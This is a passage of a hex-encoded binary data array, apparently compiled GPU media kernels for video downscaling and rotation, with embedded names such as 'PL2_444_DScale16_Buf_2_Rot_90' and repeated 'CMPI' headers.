0x00000950, 0x3fff0075, 0x00000960, 0x3fff007c, 0x00000960, 0x3fff0076, 0x00000970, 0x3fff0079,
0x00000980, 0x3fff006c, 0x00000990, 0x3fff006e, 0x000009a0, 0x3fff0070, 0x000009b0, 0x3fff007a,
0x000009b0, 0xbfff002b, 0x000009c0, 0x3fff006d, 0x000009c0, 0xbfff0033, 0x000009d0, 0x3fff006f,
0x000009d0, 0xbfff002f, 0x000009e0, 0x3fff0071, 0x000009e0, 0xbfff0037, 0x00000a00, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f325f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000300, 0xbfff0030, 0x00000300, 0xbfff0031, 0x00000310, 0xbfff0038, 0x00000310, 0xbfff0039,
0x00000530, 0xbfff002c, 0x00000580, 0xbfff0034, 0x00000620, 0xbfff002a, 0x00000650, 0xbfff0032,
0x00000680, 0xbfff002e, 0x000006d0, 0xbfff0036, 0x000007a0, 0x3fff0003, 0x000007b0, 0x3fff0078,
0x000007c0, 0x3fff0077, 0x000007c0, 0x3fff0004, 0x00000900, 0xbfff002d, 0x00000920, 0x0009006d,
0x00000920, 0x0009006e, 0x00000920, 0x0009006f, 0x00000920, 0x00090070, 0x00000920, 0x00090071,
0x00000940, 0xbfff0035, 0x00000960, 0x3fff0074, 0x00000980, 0xbfff002b, 0x00000990, 0x3fff0075,
0x000009b0, 0xbfff0033, 0x000009c0, 0x3fff0072, 0x000009e0, 0xbfff002f, 0x000009f0, 0x3fff0076,
0x000009f0, 0x3fff0073, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0037, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000128, 0x00000007, 0x00000001, 0x0000019c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000335f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005,
0x00000250, 0x3fff0000, 0x00000300, 0xbfff0040, 0x00000300, 0xbfff0041, 0x00000310, 0xbfff0048,
0x00000310, 0xbfff0049, 0x00000530, 0xbfff003c, 0x00000560, 0xbfff0044, 0x000005b0, 0x3fff007c,
0x000005e0, 0xbfff003a, 0x00000650, 0xbfff003e, 0x000006a0, 0xbfff0046, 0x000006b0, 0xbfff0042,
0x00000760, 0x3fff0003, 0x000007c0, 0x3fff0004, 0x00000840, 0x3fff0074, 0x000008d0, 0x3fff0073,
0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff003d, 0x000008f0, 0x3fff0075, 0x000008f0, 0xbfff0045,
0x00000900, 0x3fff0078, 0x00000910, 0x3fff0079, 0x00000920, 0x3fff0076, 0x00000930, 0x3fff007d,
0x00000930, 0x3fff0077, 0x00000940, 0x3fff007a, 0x00000950, 0x3fff006c, 0x00000960, 0x3fff006e,
0x00000970, 0x3fff0070, 0x00000980, 0x3fff007b, 0x00000980, 0xbfff003b, 0x00000990, 0x3fff006d,
0x00000990, 0xbfff0043, 0x000009a0, 0x3fff006f, 0x000009a0, 0xbfff003f, 0x000009b0, 0x3fff0071,
0x000009b0, 0xbfff0047, 0x000009d0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f335f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0, 0x3fff0000, 0x00000260, 0x3fff0006,
0x00000270, 0x3fff0002, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0040, 0x000002c0, 0xbfff0041,
0x00000330, 0xbfff0048, 0x00000330, 0xbfff0049, 0x00000550, 0xbfff003c, 0x000005a0, 0xbfff0044,
0x00000630, 0xbfff003a, 0x00000660, 0xbfff0042, 0x00000690, 0xbfff003e, 0x000006e0, 0xbfff0046,
0x00000770, 0x3fff0078, 0x00000790, 0x3fff0077, 0x00000790, 0x3fff0003, 0x000007e0, 0x3fff0004,
0x00000920, 0xbfff003d, 0x00000940, 0x0009006d, 0x00000940, 0x0009006e, 0x00000940, 0x0009006f,
0x00000940, 0x00090070, 0x00000940, 0x00090071, 0x00000960, 0xbfff0045, 0x00000980, 0x3fff0074,
0x000009a0, 0xbfff003b, 0x000009b0, 0x3fff0075, 0x000009d0, 0xbfff0043, 0x000009e0, 0x3fff0072,
0x00000a00, 0xbfff003f, 0x00000a10, 0x3fff0076, 0x00000a10, 0x3fff0073, 0x00000a30, 0x3fff006c,
0x00000a30, 0xbfff0047, 0x00000a50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f335f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000,
0x00000320, 0xbfff0040, 0x00000320, 0xbfff0041, 0x00000330, 0xbfff0048, 0x00000330, 0xbfff0049,
0x00000550, 0xbfff003c, 0x00000580, 0xbfff0044, 0x00000600, 0xbfff003a, 0x00000680, 0xbfff003e,
0x000006a0, 0xbfff0046, 0x000006d0, 0xbfff0042, 0x00000790, 0x3fff0004, 0x00000830, 0x3fff0003,
0x00000860, 0x3fff0073, 0x000008a0, 0x3fff007b, 0x00000900, 0x3fff0072, 0x00000910, 0xbfff003d,
0x00000920, 0x3fff0074, 0x00000920, 0xbfff0045, 0x00000930, 0x3fff0077, 0x00000940, 0x3fff0078,
0x00000950, 0x3fff0075, 0x00000960, 0x3fff007c, 0x00000960, 0x3fff0076, 0x00000970, 0x3fff0079,
0x00000980, 0x3fff006c, 0x00000990, 0x3fff006e, 0x000009a0, 0x3fff0070, 0x000009b0, 0x3fff007a,
0x000009b0, 0xbfff003b, 0x000009c0, 0x3fff006d, 0x000009c0, 0xbfff0043, 0x000009d0, 0x3fff006f,
0x000009d0, 0xbfff003f, 0x000009e0, 0x3fff0071, 0x000009e0, 0xbfff0047, 0x00000a00, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f335f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000300, 0xbfff0040, 0x00000300, 0xbfff0041, 0x00000310, 0xbfff0048, 0x00000310, 0xbfff0049,
0x00000530, 0xbfff003c, 0x00000580, 0xbfff0044, 0x00000620, 0xbfff003a, 0x00000650, 0xbfff0042,
0x00000680, 0xbfff003e, 0x000006d0, 0xbfff0046, 0x000007a0, 0x3fff0003, 0x000007b0, 0x3fff0078,
0x000007c0, 0x3fff0077, 0x000007c0, 0x3fff0004, 0x00000900, 0xbfff003d, 0x00000920, 0x0009006d,
0x00000920, 0x0009006e, 0x00000920, 0x0009006f, 0x00000920, 0x00090070, 0x00000920, 0x00090071,
0x00000940, 0xbfff0045, 0x00000960, 0x3fff0074, 0x00000980, 0xbfff003b, 0x00000990, 0x3fff0075,
0x000009b0, 0xbfff0043, 0x000009c0, 0x3fff0072, 0x000009e0, 0xbfff003f, 0x000009f0, 0x3fff0076,
0x000009f0, 0x3fff0073, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0047, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000128, 0x00000007, 0x00000001, 0x0000019c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000345f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0078, 0x00000060, 0xbfff006e,
0x00000080, 0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000280, 0x3fff0002,
0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005,
0x000003e0, 0x3fff0000, 0x00000440, 0xbfff0050, 0x00000440, 0xbfff0051, 0x00000480, 0xbfff0058,
0x00000480, 0xbfff0059, 0x00000690, 0xbfff004c, 0x000006c0, 0xbfff0054, 0x00000740, 0xbfff004a,
0x000007c0, 0xbfff004e, 0x000007e0, 0xbfff0056, 0x00000810, 0xbfff0052, 0x000009f0, 0x00090079,
0x000009f0, 0x0009007a, 0x000009f0, 0x0009007b, 0x000009f0, 0x0009007c, 0x000009f0, 0x0009007d,
0x00000a00, 0x3fff0077, 0x00000a50, 0xbfff0055, 0x00000a60, 0xbfff004d, 0x00000a70, 0x3fff006e,
0x00000a80, 0x3fff006f, 0x00000aa0, 0x3fff0078, 0x00000aa0, 0x3fff006d, 0x00000ab0, 0x3fff0070,
0x00000ac0, 0x3fff0072, 0x00000ad0, 0x3fff0074, 0x00000ae0, 0x3fff0076, 0x00000af0, 0x3fff0071,
0x00000af0, 0xbfff004b, 0x00000b00, 0x3fff0073, 0x00000b00, 0xbfff0053, 0x00000b10, 0x3fff0075,
0x00000b10, 0xbfff004f, 0x00000b20, 0x3fff006c, 0x00000b20, 0xbfff0057, 0x00000b40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000048, 0x00000006, 0x00000001, 0x0000008c, 0x00000150, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f345f, 0x315f746f, 0x00003038, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0078,
0x00000060, 0xbfff006e, 0x00000080, 0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x000002b0, 0x3fff0003, 0x000002c0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000300, 0x3fff0004,
0x00000310, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000440, 0xbfff0050, 0x00000440, 0xbfff0051,
0x00000480, 0xbfff0058, 0x00000480, 0xbfff0059, 0x00000690, 0xbfff004c, 0x000006c0, 0xbfff0054,
0x00000740, 0xbfff004a, 0x000007c0, 0xbfff004e, 0x000007e0, 0xbfff0056, 0x00000810, 0xbfff0052,
0x000009f0, 0x00090079, 0x000009f0, 0x0009007a, 0x000009f0, 0x0009007b, 0x000009f0, 0x0009007c,
0x000009f0, 0x0009007d, 0x00000a00, 0x3fff0077, 0x00000a50, 0xbfff0055, 0x00000a60, 0xbfff004d,
0x00000a70, 0x3fff0070, 0x00000a80, 0x3fff0071, 0x00000aa0, 0x3fff0078, 0x00000aa0, 0x3fff006f,
0x00000ab0, 0x3fff0072, 0x00000ac0, 0x3fff0074, 0x00000ad0, 0x3fff0076, 0x00000ae0, 0x3fff006d,
0x00000af0, 0x3fff0073, 0x00000af0, 0xbfff004b, 0x00000b00, 0x3fff0075, 0x00000b00, 0xbfff0053,
0x00000b10, 0x3fff006c, 0x00000b10, 0xbfff004f, 0x00000b20, 0x3fff006e, 0x00000b20, 0xbfff0057,
0x00000b40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005,
0x00000001, 0x0000004c, 0x00000048, 0x00000006, 0x00000001, 0x00000094, 0x00000150, 0x00000007,
0x00000001, 0x000001e4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f345f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000290, 0x3fff0003, 0x000002a0, 0x3fff0006,
0x000002d0, 0x3fff0002, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003e0, 0x3fff0000,
0x00000490, 0xbfff0050, 0x00000490, 0xbfff0051, 0x000004a0, 0xbfff0058, 0x000004a0, 0xbfff0059,
0x000006b0, 0xbfff004c, 0x00000700, 0xbfff0054, 0x000007a0, 0xbfff004a, 0x000007d0, 0xbfff0052,
0x00000800, 0xbfff004e, 0x00000850, 0xbfff0056, 0x00000930, 0x3fff0078, 0x00000940, 0x3fff0077,
0x00000a80, 0xbfff004d, 0x00000aa0, 0x0009006d, 0x00000aa0, 0x0009006e, 0x00000aa0, 0x0009006f,
0x00000aa0, 0x00090070, 0x00000aa0, 0x00090071, 0x00000ac0, 0xbfff0055, 0x00000ae0, 0x3fff0074,
0x00000b00, 0xbfff004b, 0x00000b10, 0x3fff0075, 0x00000b30, 0xbfff0053, 0x00000b40, 0x3fff0072,
0x00000b60, 0xbfff004f, 0x00000b70, 0x3fff0076, 0x00000b70, 0x3fff0073, 0x00000b90, 0x3fff006c,
0x00000b90, 0xbfff0057, 0x00000bb0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f345f, 0x395f746f, 0x00000030,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000250, 0x3fff0003, 0x00000260, 0x3fff0006,
0x000002c0, 0x3fff0002, 0x000002f0, 0x3fff0004, 0x00000300, 0x3fff0005, 0x000003c0, 0x3fff0000,
0x00000470, 0xbfff0050, 0x00000470, 0xbfff0051, 0x00000480, 0xbfff0058, 0x00000480, 0xbfff0059,
0x00000690, 0xbfff004c, 0x000006e0, 0xbfff0054, 0x00000780, 0xbfff004a, 0x000007b0, 0xbfff0052,
0x000007e0, 0xbfff004e, 0x00000830, 0xbfff0056, 0x00000910, 0x3fff0078, 0x00000920, 0x3fff0077,
0x00000a60, 0xbfff004d, 0x00000a80, 0x0009006d, 0x00000a80, 0x0009006e, 0x00000a80, 0x0009006f,
0x00000a80, 0x00090070, 0x00000a80, 0x00090071, 0x00000aa0, 0xbfff0055, 0x00000ac0, 0x3fff0074,
0x00000ae0, 0xbfff004b, 0x00000af0, 0x3fff0075, 0x00000b10, 0xbfff0053, 0x00000b20, 0x3fff0072,
0x00000b40, 0xbfff004f, 0x00000b50, 0x3fff0076, 0x00000b50, 0x3fff0073, 0x00000b70, 0x3fff006c,
0x00000b70, 0xbfff0057, 0x00000b90, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001e, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x00000198, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x0000355f, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff,
0x00000110, 0x3fff0001, 0x00000290, 0x3fff0002, 0x000002d0, 0x3fff0003, 0x000002e0, 0x3fff0006,
0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000490, 0xbfff0060,
0x00000490, 0xbfff0061, 0x000004a0, 0xbfff0068, 0x000004a0, 0xbfff0069, 0x000006c0, 0xbfff005c,
0x00000710, 0xbfff0064, 0x000007a0, 0xbfff005a, 0x000007d0, 0xbfff0062, 0x00000800, 0xbfff005e,
0x00000850, 0xbfff0066, 0x000008e0, 0x3fff0078, 0x00000900, 0x3fff0077, 0x00000a90, 0xbfff005d,
0x00000ab0, 0x0009006d, 0x00000ab0, 0x0009006e, 0x00000ab0, 0x0009006f, 0x00000ab0, 0x00090070,
0x00000ab0, 0x00090071, 0x00000ad0, 0xbfff0065, 0x00000af0, 0x3fff0074, 0x00000b10, 0xbfff005b,
0x00000b20, 0x3fff0075, 0x00000b40, 0xbfff0063, 0x00000b50, 0x3fff0072, 0x00000b70, 0xbfff005f,
0x00000b80, 0x3fff0076, 0x00000b80, 0x3fff0073, 0x00000ba0, 0x3fff006c, 0x00000ba0, 0xbfff0067,
0x00000bc0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005,
0x00000001, 0x00000044, 0x00000028, 0x00000006, 0x00000001, 0x0000006c, 0x00000128, 0x00000007,
0x00000001, 0x00000194, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f355f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a,
0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006,
0x000002f0, 0x3fff0002, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003e0, 0x3fff0000,
0x00000490, 0xbfff0060, 0x00000490, 0xbfff0061, 0x000004a0, 0xbfff0068, 0x000004a0, 0xbfff0069,
0x000006c0, 0xbfff005c, 0x00000710, 0xbfff0064, 0x000007a0, 0xbfff005a, 0x000007d0, 0xbfff0062,
0x00000800, 0xbfff005e, 0x00000850, 0xbfff0066, 0x000008e0, 0x3fff0078, 0x00000900, 0x3fff0077,
0x00000a90, 0xbfff005d, 0x00000ab0, 0x0009006d, 0x00000ab0, 0x0009006e, 0x00000ab0, 0x0009006f,
0x00000ab0, 0x00090070, 0x00000ab0, 0x00090071, 0x00000ad0, 0xbfff0065, 0x00000af0, 0x3fff0074,
0x00000b10, 0xbfff005b, 0x00000b20, 0x3fff0075, 0x00000b40, 0xbfff0063, 0x00000b50, 0x3fff0072,
0x00000b70, 0xbfff005f, 0x00000b80, 0x3fff0076, 0x00000b80, 0x3fff0073, 0x00000ba0, 0x3fff006c,
0x00000ba0, 0xbfff0067, 0x00000bc0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001f0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f355f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b,
0x00000030, 0xbfff0077, 0x00000040, 0x3fff006a, 0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070,
0x00000090, 0xbfff006f, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002a0, 0x3fff0003,
0x000002b0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000320, 0x3fff0004, 0x00000330, 0x3fff0005,
0x00000400, 0x3fff0000, 0x00000460, 0xbfff0060, 0x00000460, 0xbfff0061, 0x000004a0, 0xbfff0068,
0x000004a0, 0xbfff0069, 0x000004c0, 0x3fff0076, 0x000006c0, 0xbfff005c, 0x000006d0, 0xbfff0064,
0x00000790, 0xbfff005a, 0x000007c0, 0xbfff0062, 0x00000800, 0xbfff005e, 0x00000830, 0xbfff0066,
0x00000950, 0x3fff0077, 0x00000a30, 0x00090079, 0x00000a30, 0x0009007a, 0x00000a30, 0x0009007b,
0x00000a30, 0x0009007c, 0x00000a30, 0x0009007d, 0x00000a70, 0xbfff005d, 0x00000a80, 0xbfff0065,
0x00000a90, 0x3fff006e, 0x00000aa0, 0x3fff006f, 0x00000ac0, 0x3fff0078, 0x00000ad0, 0x3fff0070,
0x00000ae0, 0x3fff0072, 0x00000af0, 0x3fff0074, 0x00000b00, 0x3fff006c, 0x00000b10, 0x3fff0071,
0x00000b10, 0xbfff005b, 0x00000b20, 0x3fff0073, 0x00000b20, 0xbfff0063, 0x00000b30, 0x3fff0075,
0x00000b30, 0xbfff005f, 0x00000b40, 0x3fff006d, 0x00000b40, 0xbfff0067, 0x00000b60, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000050, 0x00000006, 0x00000001, 0x0000009c, 0x00000150, 0x00000007, 0x00000001, 0x000001ec,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001f0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f355f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff0077, 0x00000040, 0x3fff006a,
0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090, 0xbfff006f, 0x000000f0, 0x0000ffff,
0x00000110, 0x3fff0001, 0x00000260, 0x3fff0003, 0x00000270, 0x3fff0006, 0x000002d0, 0x3fff0002,
0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000440, 0xbfff0060,
0x00000440, 0xbfff0061, 0x00000480, 0xbfff0068, 0x00000480, 0xbfff0069, 0x000006a0, 0xbfff005c,
0x000006b0, 0xbfff0064, 0x00000770, 0xbfff005a, 0x000007a0, 0xbfff0062, 0x000007e0, 0xbfff005e,
0x00000810, 0xbfff0066, 0x00000930, 0x3fff0077, 0x000009f0, 0x00090079, 0x000009f0, 0x0009007a,
0x000009f0, 0x0009007b, 0x000009f0, 0x0009007c, 0x000009f0, 0x0009007d, 0x00000a50, 0xbfff005d,
0x00000a60, 0x3fff0076, 0x00000a60, 0xbfff0065, 0x00000a70, 0x3fff006e, 0x00000a80, 0x3fff006f,
0x00000aa0, 0x3fff0078, 0x00000ab0, 0x3fff0070, 0x00000ac0, 0x3fff0072, 0x00000ad0, 0x3fff0074,
0x00000ae0, 0x3fff006c, 0x00000af0, 0x3fff0071, 0x00000af0, 0xbfff005b, 0x00000b00, 0x3fff0073,
0x00000b00, 0xbfff0063, 0x00000b10, 0x3fff0075, 0x00000b10, 0xbfff005f, 0x00000b20, 0x3fff006d,
0x00000b20, 0xbfff0067, 0x00000b40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
